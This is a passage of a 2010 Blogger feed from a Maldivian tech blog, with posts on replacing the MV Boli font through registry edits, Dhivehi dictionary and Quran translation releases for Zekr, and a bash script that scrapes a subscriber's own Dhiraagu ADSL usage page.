/&gt;&lt;br /&gt;FORTUNATELY though, it appears to be a relatively simple task to rid ourselves of this menace!&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;WARNING: Always make a backup of your registry before editing it.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The fix involves changing out two registry keys. I'm not entirely sure if changing the first one is absolutely necessary, but we'll do it anyway for good measure.&lt;br /&gt;&lt;br /&gt;in the start menu search bar, type "regedit" and open it. (XP users type regedit in the Run dialog)&lt;br /&gt;Once in the registry editor navigate to&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts]&lt;/blockquote&gt;&lt;br /&gt;Here you'll see a listing for a bunch of fonts. Scroll down until you find the name of your REPLACEMENT font (eg MV Faseyha). Double click this, and copy the value. Now scroll to where it says "MV Boli", double click it and paste the value you just copied into the dialog box. Click ok. Also make a note of the NAME of the replacement font. Choose the replacement font wisely. It has to be a good unicode font. I recommend MV Faseyha, Faruma or one of the fonts from the Iyyu or Elaaf family of fonts.&lt;br /&gt;&lt;br /&gt;Now navigate over to&lt;br /&gt;&lt;blockquote&gt;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes]&lt;/blockquote&gt;from here find the key "MV Boli", double click it and change the value to the name of the replacement font exactly as it was in the previous list (without the "(open type)" bit) eg. "MV Faseyha","MV Iyyu Formal" etc...&lt;br /&gt;&lt;br /&gt;save and exit. Then restart your system. Boli should be replaced now.&lt;br /&gt;&lt;br /&gt;IF you're feeling super lazy, I've put together a small registry patch file that should do the work for you. However I do not recommend using this as the font file name and stuff may differ between systems.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;a href="http://dl.dropbox.com/u/5385653/fontfix.zip"&gt;Download HERE&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;thanks &lt;a href="http://afxal.com/"&gt;apo&lt;/a&gt; and &lt;a href="http://www.blogger.com/profile/07967142685048625376"&gt;ÎĦΣçҜәѓ™&lt;/a&gt;&amp;nbsp;for the help testing this out.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-3842607574118554209?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/3842607574118554209/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2010/09/get-rid-of-mv-boli-on-windows-7vistaxp.html#comment-form' title='10 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/3842607574118554209'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/3842607574118554209'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2010/09/get-rid-of-mv-boli-on-windows-7vistaxp.html' title='Get rid of MV Boli on Windows 7/Vista/Xp'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>10</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-1038755700878119345</id><published>2010-09-09T03:36:00.001+08:00</published><updated>2010-09-09T03:37:06.135+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='thaana'/><category scheme='http://www.blogger.com/atom/ns#' term='windows'/><category scheme='http://www.blogger.com/atom/ns#' term='radheef'/><category scheme='http://www.blogger.com/atom/ns#' term='dict'/><category scheme='http://www.blogger.com/atom/ns#' term='gnome-dictionary'/><title type='text'>Dict Database for Dhivehi Radheef Update</title><content type='html'>I'm releasing a minor update to the &lt;a href="http://kudanai.blogspot.com/2010/07/dict-database-for-dhivehi-radheef.html"&gt;previously released database.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;by minor I mean a complete overhaul - I had to rewrite the entire conversion script because of the recent "&lt;a href="http://kudanai.blogspot.com/2010/07/hard-drive-crash.html"&gt;hard drive crash&lt;/a&gt;". I've managed to fix the "number reversal" problem, and also changed the formatting a little. Also included in the dictionary now are additional information about the words like "kan ithuru","nan ithuru" and so on....&lt;br /&gt;&lt;br /&gt;Otherwise everything is pretty much the same. Installation instructions can be found on the previous post &lt;a href="http://kudanai.blogspot.com/2010/07/dict-database-for-dhivehi-radheef.html"&gt;HERE&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;updated files are here:&lt;br /&gt;RAW zip:&amp;nbsp;&lt;a href="http://dl.dropbox.com/u/5385653/radheef/dict-radheef.zip"&gt;http://dl.dropbox.com/u/5385653/radheef/dict-radheef.zip&lt;/a&gt;&lt;br /&gt;deb :&amp;nbsp;&lt;a href="http://dl.dropbox.com/u/5385653/radheef/dict-radheef1-03.deb"&gt;http://dl.dropbox.com/u/5385653/radheef/dict-radheef1-03.deb&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-1038755700878119345?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/1038755700878119345/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2010/09/dict-database-for-dhivehi-radheef.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/1038755700878119345'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/1038755700878119345'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2010/09/dict-database-for-dhivehi-radheef.html' title='Dict Database for Dhivehi Radheef Update'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-3423231476591503056</id><published>2010-09-06T23:07:00.003+08:00</published><updated>2010-09-06T23:16:35.333+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='zekr'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='windows'/><category scheme='http://www.blogger.com/atom/ns#' term='Quran'/><title type='text'>Zekr: Changing Translation Display Font</title><content type='html'>Since I wrote about the &lt;a href="http://kudanai.blogspot.com/2010/08/dhivehi-quran-translation-now-available.html"&gt;availability of Dhivehi translation text for Zek&lt;/a&gt;r: The open source quranic study software, I've received numerous complaints about being unable to change the font that is used to display the text. Brother Mohsen of the Zekr project was kind enough to help us out.&lt;br /&gt;&lt;br /&gt;(This article also titled: getting rid of or changing MV Boli font in Zekr) - that DAMNED boli font!&lt;br /&gt;&lt;br /&gt;in Zekr, goto Tools-&amp;gt;Options and select "View" from the side column. From here click the add (+) button to add a new setting key and call it "trans_dv_fontName" and click OK. You can now change the value assigned to this key and add "MV Faseyha" (or any other font you like).&lt;br /&gt;&lt;br /&gt;You can also add "trans_dv_fontSize" to specify the size of the translation text.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_bwme_BmmviI/TIUDTct4n7I/AAAAAAAAAS0/tf6ClL1nZ1g/s1600/zekr.png" id="single_image" imageanchor="1" style="margin-left: 1em; margin-right: 1em;" title="Click add, and then add the key-value pairs as shown"&gt;&lt;img border="0" height="284" src="http://2.bp.blogspot.com/_bwme_BmmviI/TIUDTct4n7I/AAAAAAAAAS0/tf6ClL1nZ1g/s320/zekr.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;On a side note, if you want the Quranic text to display nicely, download and install the me_quran font from &lt;a href="http://arabicfonts.wikispaces.com/"&gt;http://arabicfonts.wikispaces.com/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-3423231476591503056?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/3423231476591503056/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2010/09/zekr-changing-translation-display-font.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/3423231476591503056'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/3423231476591503056'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2010/09/zekr-changing-translation-display-font.html' title='Zekr: Changing Translation Display Font'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_bwme_BmmviI/TIUDTct4n7I/AAAAAAAAAS0/tf6ClL1nZ1g/s72-c/zekr.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-1938407463761497461</id><published>2010-09-04T23:02:00.000+08:00</published><updated>2010-09-04T23:02:23.866+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='bash'/><category scheme='http://www.blogger.com/atom/ns#' term='dhiraagu'/><category scheme='http://www.blogger.com/atom/ns#' term='cURL'/><title type='text'>ADSL Usage checker update</title><content type='html'>I took some time today to revamp the ADSL usage checking script I &lt;a href="http://kudanai.blogspot.com/2010/07/grab-dhiraagu-adsl-usage-from-terminal.html"&gt;wrote some time ago&lt;/a&gt;&amp;nbsp;and added a few more features like the ability to output more detailed information.&lt;br /&gt;&lt;br /&gt;I added a few more options like the ability to customize the output string, check for updates, and so on and so forth. Here's the updated script. It's a bit lengthy...&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush:pl"&gt;#!/bin/bash&lt;br /&gt;##################################################&lt;br /&gt;# Ugly Dirty yet functional script to check ADSL&lt;br /&gt;# usage statistics for Dhiraagu subscribers.&lt;br /&gt;# &lt;br /&gt;# type ./dslusage -h for options&lt;br /&gt;#&lt;br /&gt;# This script is provided as is, without liabilities&lt;br /&gt;# or guarantee.&lt;br /&gt;#&lt;br /&gt;# 2010 KudaNai - http://kudanai.blogspot.com&lt;br /&gt;#-------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;username= #your login name&lt;br /&gt;password= #your password here&lt;br /&gt;package_allowance=20 #must be specified&lt;br /&gt;version=0.2&lt;br /&gt;&lt;br /&gt;#End of configuration section.&lt;br /&gt;PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"&lt;br /&gt;fmtstring="DSL Usage:\tGBUSEDGb / GBALLOWGb ( GBLEFTGb remaining)" #Default format string&lt;br /&gt;&lt;br /&gt;function pusage() {&lt;br /&gt; echo -e "\tUSEAGE: ${0} &lt;options&gt;"&lt;br /&gt; cat ${0} | tail -n 23 | sed "s/#//g;s/VERSION/${version}/g"&lt;br /&gt; exit&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function error() {&lt;br /&gt; echo -e "ERROR: $1\n"&lt;br /&gt; if [ -z $2 ];then pusage;fi&lt;br /&gt; exit&lt;br /&gt;}&lt;br /&gt;function checkupdate() {&lt;br /&gt; if [ -z $(which curl) ];then error "This functionality requires cURL. Please install it and try again" 1;fi&lt;br /&gt; local ver=$(curl --silent http://dl.dropbox.com/u/5385653/ddslcheck/ver)&lt;br /&gt; if [ $(expr ${ver} \&gt; ${version}) -eq 1 ]&lt;br /&gt; then &lt;br /&gt;  echo "A newer version ${ver} is available online."&lt;br /&gt; else&lt;br /&gt;  echo "You are probably using the latest version."&lt;br /&gt; fi&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;while getopts 'vVUhu:p:f:' OPTION&lt;br /&gt;do&lt;br /&gt; case $OPTION in&lt;br /&gt;  u) username=${OPTARG};;&lt;br /&gt;  p) password=${OPTARG};;&lt;br /&gt;  a) package_allowance=${OPTARG};;&lt;br /&gt;  v) fmtstring="Dhiraagu ADSL Usage Details as on\n`date`\n\nCustomer:\tSUBSCRIBER (USERID)\nPackage:\tPACKAGE_NAME\nusage period:\tBILLING_START to BILLING_END (BILLING_CYCLE)\n\nDSL Usage:\tGBUSEDGb / GBALLOWGb ( GBLEFTGb remaining)";;&lt;br /&gt;  V) cat $0 | tail -n 5 | sed "s/#//g;s/VERSION/${version}/g";exit;;&lt;br /&gt;  f) fmtstring=${OPTARG};;&lt;br /&gt;  U) checkupdate;exit;;&lt;br /&gt;  h) pusage;;&lt;br /&gt;  ?) pusage;;&lt;br /&gt; esac&lt;br /&gt;done&lt;br /&gt;&lt;br /&gt;if [ -z $(which img2txt) ]; then error "You need to install caca-utils before proceeding" 1;exit;fi&lt;br /&gt;if [ -z $(which wget) ];then error "You don't have wget installed...seriously?" 1;exit;fi&lt;br /&gt;if [[ -z ${username} || -z ${password} || -z ${package_allowance} ]]; then error "You need to specify username and password";fi&lt;br /&gt;&lt;br /&gt;cd /tmp # ---------------here on down everything is done inside temp&lt;br /&gt;wget --quiet --no-cache --post-data "web_user=${username}&amp;web_pass=${password}" -p http://dsl.dhivehinet.net.mv/login.php&lt;br /&gt;if [ ! -f "dsl.dhivehinet.net.mv/comparision_graph.php" ];then error "Invalid username/password" 1;fi&lt;br /&gt;&lt;br /&gt;OIFS="{$IFS}"; IFS=$'\n'&lt;br /&gt;count=0&lt;br /&gt;for LINE in $(sed -n 's/.*"#000080" size="2"&gt;\([^&lt;]*\).*/\1/p' dsl.dhivehinet.net.mv/topframe.php;sed -n 's/.*through \(.*\) to \([^&lt;]*\)&lt;.*/\1\n\2/p' dsl.dhivehinet.net.mv/comparision_tpl.php)&lt;br /&gt;do&lt;br /&gt; ARR[${count}]=$LINE&lt;br /&gt; ((count++))&lt;br /&gt;done&lt;br /&gt;IFS="${OIFS}"&lt;br /&gt;&lt;br /&gt;gstring=$(img2txt -H 400 -W 4 -d none -f ansi dsl.dhivehinet.net.mv/comparision_graph.php)&lt;br /&gt;gtotal=$(echo "${gstring}" | grep 44 | wc -l)&lt;br /&gt;gused=$(echo "${gstring}" | grep 43 | wc -l)&lt;br /&gt;gbused=$(echo "scale=3;${gused} / ${gtotal} * ${package_allowance}" | bc -l)&lt;br /&gt;gbleft=$(echo "scale=3;${package_allowance} - ${gbused}" | bc -l)&lt;br /&gt;&lt;br /&gt;echo -e "${fmtstring}" | sed "s/SUBSCRIBER/${ARR[0]}/g;s/USERID/${ARR[1]}/g;s/PACKAGE_NAME/${ARR[2]}/g;s/BILLING_CYCLE/${ARR[3]}/g;s/BILLING_START/${ARR[4]}/g;s/BILLING_END/${ARR[5]}/g;s/GBUSED/${gbused}/g;s/GBLEFT/${gbleft}/g;s/GBALLOW/${package_allowance}/g;"&lt;br /&gt;&lt;br /&gt;rm -r dsl.dhivehinet.net.mv&lt;br /&gt;#&lt;br /&gt;#OPTIONS:&lt;br /&gt;# -a Specify package allowance for limited connections.&lt;br /&gt;# -f Define custom format string.&lt;br /&gt;# -h Print this help.&lt;br /&gt;# -p Specify password.&lt;br /&gt;# -u Specify username.&lt;br /&gt;# -U Check for updates.&lt;br /&gt;# -v Verbose output. Print more details.&lt;br /&gt;# -V print version information and exit.&lt;br /&gt;#&lt;br /&gt;#FORMATTING:&lt;br /&gt;# The format string can by anything containing any of the following&lt;br /&gt;# special variables which will be substituted with appropriate values.&lt;br /&gt;# use \n,\t for newlines and tabs.&lt;br /&gt;#&lt;br /&gt;# SUBSCRIBER,USERID,PACKAGE_NAME,BILLING_CYCLE &lt;br /&gt;# BILLING_START,BILLING_END,GBUSED,GBLEFT,GBALLOW&lt;br /&gt;#&lt;br /&gt;# Dhiraagu DSLUsage checker&lt;br /&gt;# 2010 - KudaNai [ http://kudanai.blogspot.com ]&lt;br /&gt;# vVERSION&lt;br /&gt;#&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-1938407463761497461?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/1938407463761497461/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2010/09/adsl-usage-checker-update.html#comment-form' title='9 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/1938407463761497461'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/1938407463761497461'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2010/09/adsl-usage-checker-update.html' title='ADSL Usage checker update'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-2021234907332625145</id><published>2010-08-26T20:26:00.003+08:00</published><updated>2010-09-21T20:17:03.329+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='zekr'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='announcements'/><category scheme='http://www.blogger.com/atom/ns#' term='thaana'/><category scheme='http://www.blogger.com/atom/ns#' term='floss'/><category scheme='http://www.blogger.com/atom/ns#' term='Quran'/><title type='text'>Dhivehi Quran Translation now available for Zekr and Tanzil.info</title><content type='html'>&lt;span class="Apple-style-span" style="color: red;"&gt;&lt;b&gt;UPDATE: The translation pack and is available from the Zekr website now. Download from there.&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Ramazan Mubarik fellow bretheren. It gives me great pleasure to (sort of) formally announce the release of the Zekr Quranic study tool with Dhivehi localization and translation packs.&lt;br /&gt;&lt;br /&gt;I'm also happy to announce that&lt;b&gt; &lt;/b&gt;&lt;a href="http://www.tanzil.info/"&gt;&lt;b&gt;www.tanzil.info&lt;/b&gt;&lt;/a&gt; now hosts the Dhivehi translation of the Holy Quran for everybody to enjoy, free of charge.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://dl.dropbox.com/u/5385653/zekr/Screenshot.png" id="single_image" imageanchor="1" style="margin-left: 1em; margin-right: 1em;" title="Zekr Running on ubuntu linux with localization and language packs running"&gt;&lt;img border="0" height="200" src="http://dl.dropbox.com/u/5385653/zekr/thumb.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;This has been part of a &lt;b&gt;&lt;a href="http://moss.org.mv/"&gt;MOSS&lt;/a&gt;&lt;/b&gt; initiative, and I'd like to thank everybody who worked on the project with me. Particularly &lt;a href="http://mohamedmalik.com/"&gt;Mohamed Malik&lt;/a&gt;, Bunyameen and Sobah.&lt;br /&gt;&lt;br /&gt;As of version 1.0 of Zekr, you can select "Dhivehi" as a display language under tools-&amp;gt;options.&lt;br /&gt;&lt;br /&gt;&lt;s&gt;The translation pack hasn't been officially sanctioned yet, we're waiting for the Presidents office to formally OK the project. Meanwhile, you're welcome to "unofficially" download and use it.&lt;/s&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;INSTALLATION&lt;/b&gt; is a simple three step process.&lt;br /&gt;&lt;br /&gt;1. Download and install Zekr from &lt;b&gt;&lt;a href="http://www.zekr.org/"&gt;www.zekr.org&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;2. Download the translation pack (see&lt;s&gt; link below&lt;/s&gt;update above)&lt;br /&gt;3. Run Zekr. goto Tools-&amp;gt;add-&amp;gt;translation and select the zip file you just downloaded.&lt;br /&gt;&lt;br /&gt;you can now select the translation under view-&amp;gt;translation.&lt;br /&gt;&lt;br /&gt;*note: if you encounter a "could not find Java VM" error, make sure you have a recent version of Java installed on your system. Download Java from&amp;nbsp;&lt;a href="http://www.java.com/en/download/"&gt;http://www.java.com/en/download/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;i&gt;If you find any errors, please send an email to kudanai [yetu] gm[ail] dotu [comu]&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;you can find full details and installation instructions in this months &lt;a href="http://moss.org.mv/magazine"&gt;MOSS magazine&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://dl.dropbox.com/u/5385653/zekr/dv.trans.zip"&gt;&lt;b&gt;&lt;s&gt;Download Dhivehi translation pack for Zekr&lt;/s&gt;&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://zekr.org/"&gt;&lt;b&gt;Zekr website&lt;/b&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-2021234907332625145?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/2021234907332625145/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2010/08/dhivehi-quran-translation-now-available.html#comment-form' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/2021234907332625145'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/2021234907332625145'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2010/08/dhivehi-quran-translation-now-available.html' title='Dhivehi Quran Translation now available for Zekr and Tanzil.info'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-2799543309743914179</id><published>2010-08-01T02:27:00.001+08:00</published><updated>2010-08-01T02:28:39.860+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='rants'/><title type='text'>Hard-Drive Crash!!!</title><content type='html'>There is only one thing you can say in a situation like this...&lt;br /&gt;&lt;br /&gt;&lt;div style="color: red; text-align: center;"&gt;&lt;b&gt;&lt;span style="font-size: x-large;"&gt;FUCK!!!!!&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;and it doesn't make things easier that I actually saw this one coming and did make a backup, only to discover that my backup drive was also faulty.&lt;br /&gt;&lt;br /&gt;Well...it's going to take me a while to get back up on my feet again. I'm probably going to have to re-do all my little projects and stuff...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;DAMNIT ALL TO HELL!!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-2799543309743914179?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/2799543309743914179/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2010/07/hard-drive-crash.html#comment-form' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/2799543309743914179'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/2799543309743914179'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2010/07/hard-drive-crash.html' title='Hard-Drive Crash!!!'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-6721844476637656026</id><published>2010-07-30T17:55:00.000+08:00</published><updated>2010-07-30T17:55:00.906+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='random'/><title type='text'>Eco Fashion and Maldives</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_bwme_BmmviI/TEwKhEQ8pqI/AAAAAAAAARo/iPPtmHZABMU/s1600/DSC01444.JPG" id="single_image" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="1" height="200" src="http://2.bp.blogspot.com/_bwme_BmmviI/TEwKhEQ8pqI/AAAAAAAAARo/iPPtmHZABMU/s200/DSC01444.JPG" width="139" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;And in our Spring lineup, we have this lovely number.&lt;br /&gt;&lt;br /&gt;Made entirely of plastic bags for the Environment day exhibition held at A.Dh&amp;nbsp;&amp;nbsp;Hangnaameedhoo Madhrasa by two students; Reesh (9th Grade) and Iffath (10th Grade)&lt;br /&gt;&lt;br /&gt;This sort of thing hardly ever gets the exposure it deserves.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-6721844476637656026?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/6721844476637656026/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2010/07/eco-fashion-and-maldives.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/6721844476637656026'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/6721844476637656026'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2010/07/eco-fashion-and-maldives.html' title='Eco Fashion and Maldives'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_bwme_BmmviI/TEwKhEQ8pqI/AAAAAAAAARo/iPPtmHZABMU/s72-c/DSC01444.JPG' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-3166218196465754921</id><published>2010-07-28T11:47:00.002+08:00</published><updated>2010-09-04T23:04:01.113+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='bash'/><category scheme='http://www.blogger.com/atom/ns#' term='dhiraagu'/><title type='text'>Grab Dhiraagu ADSL usage from the terminal</title><content type='html'>&lt;span class="Apple-style-span" style="color: red;"&gt;&lt;span class="Apple-style-span" style="font-size: x-large;"&gt;UPDATE&lt;/span&gt;&lt;/span&gt;: There's a new version of the script out with more options and better configurability. Check it out &lt;b&gt;&lt;a href="http://kudanai.blogspot.com/2010/09/adsl-usage-checker-update.html"&gt;&lt;span class="Apple-style-span" style="font-size: x-large;"&gt;HERE&lt;/span&gt;&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Anybody who even occasionally stumbles on my blog should know full well by now that I have some personal beef with Dhiraagu. It's not that they suck..per se. It's just that I feel that they could, as a company, do much better.&lt;br /&gt;&lt;br /&gt;Having said that, not having plain-text data available on the ADSL usage page (which incidentally has been trapped in a time-freeze-bubble since the 1960's) is just plain stupid on the part of whoever designed it. No matter though, where there is a will, there will be a way.&lt;br /&gt;&lt;br /&gt;Previously I used to do it like this; Simply grabbing the graph image from the concerned page and popping it into eog so I can have a look.&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: pl"&gt;wget --post-data "web_user=${username}&amp;amp;web_pass=${password}" -p http://dsl.dhivehinet.net.mv/login.php;eog ./dsl.dhivehinet.net.mv/comparision_graph.php;rm -r ./dsl.dhivehinet.net.mv&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;substitute ${username},${password} and eog as necessary.&lt;br /&gt;&lt;br /&gt;But that wasn't enough..what If I wanted something in Conky or something to that effect? That would be a lot more convenient than having to look at that fart of a graph they have up there. So I came up with this simple solution.&lt;br /&gt;&lt;br /&gt;SIMPLE but NOT ELEGANT... this is ugly, but it gets the job done.&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush:pl"&gt;#!/bin/bash&lt;br /&gt;#simple "hack" to grab and decode the ADSL usage&lt;br /&gt;#graph from Dhiraagu. No magic going on here.&lt;br /&gt;#require caca-utils (img2text)&lt;br /&gt;#&lt;br /&gt;#2010 KudaNai - http://kudanai.blogspot.com&lt;br 